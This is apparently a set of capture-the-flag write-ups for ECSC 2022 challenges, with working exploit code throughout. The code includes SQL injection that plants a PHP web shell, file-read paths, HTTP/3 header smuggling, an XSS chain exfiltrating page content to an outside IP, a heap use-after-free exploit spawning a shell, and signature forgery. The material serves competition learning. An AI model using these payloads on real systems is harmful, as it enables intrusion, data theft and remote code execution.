- LFI at
/download?filename=$1
/download?filename=/proc/self/exe
confirms the application is written in Python- with some luck, guess
/download?filename=/app/app.py
or/download?filename=app.py
to get the source code - source code includes
SECRET_KEY
, enough to fake an admin cookie- best done by deploying the app locally and modifying the code to create an admin cookie by default
- admire cute cattos
- a comment in the HTML source code hints at an exposed git repository
pip3 install git-dumper
goes brrr
- the downloaded source reveals an SQL injection in
$_GET["visit_source"]
- some googling reveals that in SQLite, one can easily create a file and put a PHP reverse shell in it. at least, if we can tolerate some garbage in front (we can)
import requests
import secrets
URL = 'https://catblag.ecsc22.hack.cert.pl/'
name = secrets.token_urlsafe(16)
r = requests.get(URL,
params={
'visit_source': "'); ATTACH DATABASE '/var/www/html/uploads/" + name + ".php' as meow; CREATE TABLE meow.uwu (dataz text); INSERT INTO meow.uwu (dataz) VALUES ('<?php system($_GET[\"cmd\"]); ?>'); --"
})
r = requests.get(URL + 'uploads/' + name + '.php',
params={
'cmd': 'find / -iname "*flag*"'})
print(r.text)
r = requests.get(URL + 'uploads/' + name + '.php',
params={
'cmd': 'rm ' + name + '.php'})
- we obtain the location of the flag:
/var/www/html/this-is-the-flag-but-with-an-unpredictable-name.txt
. we can download it through HTTP. - moreover, we can customize the set of images displayed by the challenge:
import requests
import secrets
URL = 'https://catblag.ecsc22.hack.cert.pl/'
r = requests.get(URL)
if 'Catto-with-plushie' not in r.text:
name = secrets.token_urlsafe(16)
print('Hi pwning now because no cool cat')
r = requests.get(URL,
params={
'visit_source': "'); ATTACH DATABASE '/var/www/html/uploads/" + name + ".php' as meow; CREATE TABLE meow.uwu (dataz text); INSERT INTO meow.uwu (dataz) VALUES ('<?php system($_GET[\"cmd\"]); ?>'); --"
})
r = requests.get(URL + 'uploads/' + name + '.php',
params={
'cmd': 'curl "https://i.imgur.com/r0nMifS.jpg" -o Catto-with-plushie.jpg'})
r = requests.get(URL + 'uploads/' + name + '.php',
params={
'cmd': 'rm ' + name + '.php'})
r = requests.get(URL,
params={
'visit_source': "'); DELETE FROM posts WHERE id > 7; INSERT INTO posts (title, filename) VALUES ('Catto with plushie', 'Catto-with-plushie.jpg'); --"
})
nginx is configured to serve over HTTP3, perform some rewrites and proxy to
localhost:8080
. This is also served by nginx, and allows to get the flag if
the request has the X-Real-IP
header set to 127.0.0.1
. Unfortunately, the
proxy is configured to set this header to an empty value.
The provided Dockerfile compiles a custom nginx, and patches it to remove some checks normally performed on the headers sent through HTTP3. As this is a binary protocol, we can send a newline within a header value. Then, when it gets serialized into a HTTP/1.1 request, we can fake an additional header with a name and value of our choice.
To perform the attack, I used a modified quiche-client
:
$ gdp apps/src/common.rs
diff --git a/apps/src/common.rs b/apps/src/common.rs
index 9842e44..eab1502 100644
--- a/apps/src/common.rs
+++ b/apps/src/common.rs
@@ -921,6 +921,7 @@ impl Http3Conn {
url[url::Position::BeforePath..].as_bytes(),
),
quiche::h3::Header::new(b"user-agent", b"quiche"),
+ quiche::h3::Header::new(b"zee-meow-meow", b"nyaa\nX-Real-IP: 127.0.0.1"),
];
let priority = if send_priority_update {
$ cargo run -q --bin quiche-client -- --no-verify https://quiclookthis.ecsc22.hack.cert.pl:18443/get/get/flag
ecsc{quic_and_easy_http3_client_:)}
The website allows hosting arbitrary HTML on the secret
subdomain. As the name
of the subdomain doesn't vary between users, we can:
- load the
secret
as the bot's user, which should contain the flag - re-login to a user we control
- load our
secret
, and make use of the fact we're executing in the same context as a window with the flag.
Due to the session cookie's SameSite
policy, we cannot do this with iframe
s,
but as it turns out, the bot doesn't have a popup blocker, so we can do
window.open
and then access window.opener
.
We send the link to the following document:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
window.open('second.html');
</script>
</body>
</html>
second.html
contains the meat of the exploit:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
window.opener.location = 'https://secret.monster.ecsc22.hack.cert.pl/secret';
setTimeout(meow,1000);
function meow() {
window.open('login.html');
setTimeout(nyaa, 1000);
}
function nyaa() {
document.location = 'https://secret.monster.ecsc22.hack.cert.pl/secret';
}
</script>
</body>
</html>
login.html
sends a POST
request to login into our account:
<form id="nyaa" method="POST" action="https://monster.ecsc22.hack.cert.pl/">
<input name="username" value="mayapwn3">
<input name="password" value="JP2zjadlmipsa">
<input type="submit">
</form>
<script>
document.getElementById('nyaa').submit();
</script>
This logs into an account whose secret is set to
<script>document.location = 'http://64.227.78.95:8000/done?' + btoa(window.opener.document.body.innerHTML);</script>
This kills the crab exfiltrates the secret.
We can bruteforce the flag byte-by-byte by executing the individual hashing
functions repeatedly. This is easily achieved by compiling the bruteforcer into
a shared object and using LD_PRELOAD
:
#include <stdio.h>
#include <stdlib.h>
#include <sys/auxv.h>
void __attribute__((constructor)) initialD() {
void * base = getauxval(AT_ENTRY) - 0x10c0;
uint64_t hashes[5] = {
0xf161495256a9be7e,
0x9ed1f35982d3567d,
0x5e8932b407b62517,
0x5b65919c50a3b933,
0x5f27b58fa8883409,
};
uint64_t (*funcs[5])(uint64_t) = {
base + 0x19f971,
base + 0x19fc07,
base + 0x19fe9d,
base + 0x1a0133,
base + 0x1a03c9,
};
char flag[41];
for (int i = 0; i < 40; i++) flag[i] = '?';
flag[40] = 0;
for (int i = 0; i < 40; i++) {
for (char c = '!'; c < 127; c++) {
flag[i] = c;
int nhash = i / 8;
int sh = i % 8;
uint64_t h = funcs[nhash](*(uint64_t*)(flag + 8 * nhash));
//printf("%016x\n", h);
if (((h >> (sh * 8)) & 0xff) == ((hashes[nhash] >> (sh * 8)) & 0xff)) {
printf("%s\n", flag);
break;
}
}
}
exit(1);
}
$ gcc -shared solve.c -o solve.so
$ LD_PRELOAD=./solve.so ./long_hash
e???????????????????????????????????????
ec??????????????????????????????????????
ecs?????????????????????????????????????
ecsc????????????????????????????????????
ecsc{???????????????????????????????????
ecsc{A??????????????????????????????????
ecsc{Ad?????????????????????????????????
ecsc{Add????????????????????????????????
ecsc{AddS???????????????????????????????
ecsc{AddSu??????????????????????????????
[...]
ecsc{AddSubXorNotAddSubXorNotAddSubXor~}
Some reverse-engineering reveals that the program contains a custom x64 interpreter, and uses it to interpret a simple crackme. Some more analysis shows that there are some differences from the proper semantics of x64.
- a non-immediate
mov
affects the flags (though this doesn't actually affect the program being interpreted) - the opcode of
xor
is actually exponentiation modulo0xffe000ff
With this knowledge we can write a solver:
import struct
with open('suscall', 'rb') as f:
data = f.read()
expected = data[0x3010:][:32]
exps = data[0x3030:][:32]
print(expected.hex())
print(exps.hex())
MOD = 0xffe000ff
p, q = 65519, 65521
phi = (p - 1) * (q - 1)
flag = b''
for i in range(0, 0x16, 4):
e, = struct.unpack('I', exps[i:i+4])
v, = struct.unpack('I', expected[i:i+4])
print(e, v)
d = pow(e, -1, phi)
w = pow(v, d, MOD)
flag += struct.pack('I', w)
print(flag)
After much confusion, one can realize that the bug is very simple — the
application ships the private key, and uses it to derive the public key used for
checking signatures. Thus we extract the relevant resource (the only one with a
.bin
extension) and easily fake a badge:
from base64 import b64decode
import requests
from Cryptodome.PublicKey import ECC
from Cryptodome.Signature import eddsa
data = b'flag'
with open('privkey.bin', 'rb') as f:
seed = f.read()
privkey = ECC.construct(curve='Ed25519', seed=seed)
signer = eddsa.new(privkey, 'rfc8032')
sig = signer.sign(data)
r = requests.post('https://validator.ecsc22.hack.cert.pl',
json = {
'id': data.decode(),
'signature': list(sig)
})
print(r.status_code)
print(r.text)
The application is built with React Native, and its code is stored in a "Hermes JavaScript bytecode bundle". Finding tooling to reverse engineer this proves difficult. Fortunately, the integer literal specifying that the price of the flag is 31337 is quite unique, and we can just patch it to a lower value:
import struct
with open('index.android.bundle', 'rb') as f:
data = bytearray(f.read())
meow = struct.pack('I', 31337)
nyaa = struct.pack('I', 5)
i = data.index(meow)
data[i:i+4] = nyaa
with open('index.android.bundle', 'wb') as f:
f.write(data)
Actually rebuilding an apk with this change proved difficult, due to Android's
batshit insane decision to reuse the Zip format for its own purposes and assign
meaning to internals that most tools don't pay attention to. In the end, I had
to download the Android SDK for its zipalign
and apksigner
tools. Using
them, in this order, on the apk produced by apktool build
, finally created a
file that got accepted by adb install
. The patched application could easily be
convinced to show a flag.
After wasting some time with SSTV, the very 🇮🇳 idea of "the channels are just XY coordinates" came to mind. This turns out to be correct.
import wave
import struct
from PIL import Image
poss = []
one_img = 30000
with wave.open('looking_at_sound.wav') as f:
nframes = f.getnframes()
for nimg in range(nframes//one_img):
im = Image.new('L', (512, 512))
data = f.readframes(one_img)
for i in range(0, 4*one_img, 4):
x, y = struct.unpack('hh', data[i:i+4])
x += 32768
y += 32768
x //= 128
y //= 128
im.putpixel((x, 511-y), 255)
im.save('im%03d.png' % nimg)
The flag format and simple properties of XOR let us recover most of the key. The rest can be very feasibly bruteforced:
cipher = bytes.fromhex('173ca059bf5d2027251c499b87ca1806b6c6c304153d203b38')
print(len(cipher))
crib = b'ecsc{???}'
keybase = 0
known = 0
for i in range(4):
shift = crib[i-1]%32
keybits = cipher[i] ^ crib[i] ^ crib[i+1]
print((bin(keybits)[2:].zfill(8) + shift * ' ').rjust(64))
known |= 0xff << shift
keybase |= keybits << shift
keybase = (keybase & 0xffffffff) | (keybase >> 32)
known = (known & 0xffffffff) | (known >> 32)
print(bin(known)[2:].zfill(32))
print(bin(keybase)[2:].zfill(32))
def decrypt(key):
key = key | (key << 32)
output = bytearray(len(cipher))
output[0] = b'e'[0]
output[-1] = b'}'[0]
for i in range(len(cipher) - 1):
shift = output[i-1] % 32
keyi = (key >> shift) & 0xff
output[i+1] = cipher[i] ^ output[i] ^ keyi
return output
keyrest = known
while keyrest < 2**32:
key = keyrest &~ known | keybase
pt = decrypt(key)
if pt.isascii():
print(pt)
keyrest += 1
keyrest |= known
By dividing appropriate ciphertexts by each other, we can derive g²
. This
value is small enough that exponentiation modulo p
doesn't actually reduce
anything, and we can use a square root to calculate g
, and then the flag
.
p = 10522...
data = [(221, 15361...), ...]
data.sort()
K = Zmod(p)
outs = []
for i in range(len(data)-1):
a, x = data[i]
b, y = data[i+1]
x = K(x); y = K(y)
delta = b - a
outs.append((delta, y/x))
assert outs[0][0] == 2
g = K(ZZ(outs[0][1]).isqrt())
flag = K(data[0][1]) / g**data[0][0]
print(bytes.fromhex(hex(ZZ(flag))[2:]))
This particular solution works because the design of the challenge is very
permissive. A variation where g
is the same size as p
and only two
ciphertexts are provided would remain solvable.
Some quick maths lets us factorize the modulus:
# (ka + b)(kb + a) = k²ab + k(a² + b²) + ab
n = 136833849009378541177365407452586723306505444691976749004448551477492393370727121824647697026919571415516837272337651935637064315560075712848623840253845208440409394636665640222581087106974207162724930976023333788275806336989480648037228689764170323692429398688150195468592753198191312296734005651276133646591
ct = 0xbb3fc9ea61c02c2b3db67a785fefe3ad16a0188839461351220deb1a2ee00af4cb3ffeb22450c6bc514cc1c9f288d8d58e965ed3eb6224817f3416b742e2ebd310ac3b639479a9f8d4021d81ffc5f63dc4fd9fe238bc3e35469949faece3ae8bf56e79bfca99a27077d2791cb9d207b613608945756e06f671d299829fa8e7e7
high = n >> 768
high -= 1 # experimentally (one bit from the middle term can leak in)
low = n % (1 << 256)
ab = (high << 256) | low
mid = n - ab - (ab << 512)
assert mid % (1 << 256) == 0
mid >>= 256
print(hex(mid))
# (a + b)²
sq = mid + 2*ab
S = sq.isqrt()
assert S**2 == sq
soln = solve(x * (S - x) == ab, x)
# TODO: how do i not copy paste this lol
a = 91641709288409009970800294654230824364204858100777787158654515576691442882245
b = 111363425824121797538005125941136667809420525071579655219101435656213041763571
p = (a << 256) | b
q = (b << 256) | a
assert p * q == n
phi = (p - 1)*(q - 1)
d = pow(65537, -1, phi)
pt = pow(ct, d, n)
print(bytes.fromhex(hex(pt)[2:]))
With some luck, an arbitrary even square can turn out to have a root that's
congruent to 0 mod 10
. When the server tells us the value of such a root,
there's a chance we can recover one of the primes with gcd (this is due to the
structure of the roots, which one can discover by studying the CRT formulas).
from pwn import *
import nzkp
def get_ct():
s = remote('nzkp2.ecsc22.hack.cert.pl', 18664)
s.recvline()
n = int(s.recvline().strip())
s.recvuntil(b'challenge>\n')
s.sendline(b'4')
leak = int(s.recvline().strip())
for _ in range(31):
s.recvuntil(b'challenge>\n')
s.sendline(b'0')
assert s.recvline() == b'0\n'
ct = int(s.recvline().strip())
return n, leak, ct
while True:
try:
n, leak, ct = get_ct()
p = gcd(leak - 2, n)
assert p not in [1, n]
break
except:
pass
q = n // p
sols = nzkp.modular_sqrt_composite(int(ct), [int(p), int(q)])
for sol in sols:
try:
print(bytes.fromhex(hex(sol)[2:]))
except:
pass
Celebrate the organizer's mistake and grab free double points with the same exploit.
Typical sequence of use-after-free in a tcache bin resulting in an arbitrary malloc. We can use that for almost arbitrary read/write in the GOT area.
from pwn import *
e = ELF('chall')
context.terminal = ['alacritty', '-e']
if args.REMOTE:
s = remote('heroes.ecsc22.hack.cert.pl', 18002)
else:
s = process(['./ld-linux-x86-64.so.2', './chall'], env={'LD_PRELOAD':'./libc.so.6'})
gdb.attach(s)
def malloc(size):
log.info('Allocating %d bytes', size)
s.sendlineafter(b'do? ', b'1')
s.sendlineafter(b'unit stack: ', str(size).encode())
def free(slot):
log.info('Freeing slot %d', slot)
s.sendlineafter(b'do? ', b'2')
s.sendlineafter(b'unit: ', str(slot).encode())
def inspect(slot):
log.info('Inspecting slot %d', slot)
s.sendlineafter(b'do? ', b'3')
s.sendlineafter(b'unit: ', str(slot).encode())
s.recvuntil(b'OK\n')
return s.recvuntil(b'Current player is orange.\n', drop=True)
def write(slot, data):
log.info('Writing %r into slot %d', data.hex(), slot)
s.sendlineafter(b'do? ', b'4')
s.sendlineafter(b'unit: ', str(slot).encode())
s.sendafter(b'OK\n', data)
malloc(72)
malloc(72)
free(1)
free(0)
print(hexdump(inspect(0)))
write(0, p64(e.got['free']))
malloc(72)
malloc(72)
libc_free = u64(inspect(3).ljust(8, b'\x00'))
log.info('__GI___libc_free @ %x', libc_free)
libc_base = libc_free - 0x97910
log.info('libc base @ %x', libc_base)
system = libc_base + 0x4f420
write(3, p64(system))
write(2, b'/bin/sh')
free(2)
s.interactive()
Stegsolve lets us extract a PNG from the low bits of hidden.png
. Apart from
that, 960x300_0__1
and program
encode bits in a pretty straightforward way:
from PIL import Image
def part1():
with open('960x300_0__1', 'r') as f:
data = f.read()
bits = []
i = 0
while i < len(data):
if data[i] == ' ':
if i+1 < len(data) and data[i+1] == ' ':
bits.append(1)
i += 2
else:
bits.append(0)
i += 1
else:
i += 1
return bits
def part2():
im = Image.open('hidden-extracted.png')
w, h = im.size
bits = []
for y in range(h):
for x in range(w):
r, g, b, _ = im.getpixel((x, y))
bits.append([(0,0,0),(255,255,255)].index((r,g,b)))
return bits
def part3():
bits = []
with open('disasm') as f:
counter = 0
for line in f:
parts = line.split()
if parts[-2] == 'addl':
if parts[3] == 'f8':
bits.append(0)
elif parts[3] == 'fc':
bits.append(1)
else:
raise hell
counter += 1
elif parts[-3] == 'jmpq':
assert counter == 960
counter = 0
return bits
def combine():
print('part 1')
a = part1()
print('part 2')
b = part2()
print('part 3')
c = part3()
print('combine')
it = iter(zip(a, b, c))
im = Image.new('L', (960, 300))
for y in range(300):
for x in range(960):
a, b, c = next(it)
s = a + b + c
if s < 2:
im.putpixel((x, y), 0)
else:
im.putpixel((x, y), 255)
im.save('combined.png')
combine()